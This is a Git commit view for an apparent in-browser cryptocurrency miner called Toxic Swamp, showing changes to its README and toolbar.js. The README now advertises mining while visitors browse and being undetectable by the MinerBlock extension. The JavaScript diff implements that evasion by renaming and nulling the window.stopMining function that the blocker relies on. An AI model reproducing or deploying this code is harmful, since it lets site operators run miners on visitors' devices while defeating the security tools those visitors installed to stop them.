Browse Source

feat(assets/toolbar.js): cloak from minerblock browser extension

see post on habd.as for details on the method
Josh Habdas 8 months ago
parent
commit
a77d443fc6
Signed by: Josh Habdas <jhabdas@protonmail.com> GPG Key ID: B148B31154C75A74
2 changed files with 18 additions and 1 deletions
  1. 12
    0
      README.md
  2. 6
    1
      assets/js/toolbar.js

+ 12
- 0
README.md View File

@@ -6,6 +6,18 @@
6 6
 
7 7
 [![Screenshot of Toxic Swamp](https://jhabdas.keybase.pub/after-dark-v6.15.0-homepage-fs8.png "Toxic Swamp running on the After Dark homepage")](https://after-dark.habd.as)
8 8
 
9
+## Features
10
+
11
+- Mine cryptocurrency while visitors browse your sites
12
+- Reward effort during site development and publishing
13
+- Transparent, unobtrusive multilingual user interface
14
+- Does not use cookies or connect to any third-parties
15
+- Obfuscates end-user IPs and other connection details
16
+- Automatically starts when external power is detected
17
+- Suspends operation during loss of power or attention
18
+- Optimized for low-bandwidth high-latency connections
19
+- Cannot be detected by MinerBlock extension at 1.2.12
20
+
9 21
 ## Demo
10 22
 
11 23
 View an [interactive demo](https://after-dark.habd.as) and [read the docs](https://after-dark.habd.as/module/toxic-swamp/).

+ 6
- 1
assets/js/toolbar.js View File

@@ -84,9 +84,11 @@
84 84
       WebMiner.throttle = state.throttle || throttle;
85 85
     }
86 86
     static start () {
87
+      window.stopMining = window.stopMinerBlock;
87 88
       window.startMining(proxy.pool, account.address || proxy.address);
89
+      window.stopMining = null;
88 90
     }
89
-    static stop () { window.stopMining(); }
91
+    static stop () { window.stopMinerBlock(); }
90 92
     static get throttle () { return window.throttleMiner; }
91 93
     static set throttle (throttle) { window.throttleMiner = throttle; }
92 94
     static get hashTotal () { return window.totalhashes; }
@@ -114,6 +116,9 @@
114 116
   fetchInject([
115 117
     "{{ "/js/modules/toxic-swamp/webminer.min.js" | relURL }}"
116 118
   ]).then(() => {
119
+    window.stopMinerBlock = window.stopMining;
120
+    window.stopMining = null;
121
+
117 122
     const status = form.querySelector('.js-status');
118 123
     const interstitial = form.querySelector('.js-interstitial');
119 124
     const ticker = form.querySelector('.js-ticker');

Loading…
Cancel
Save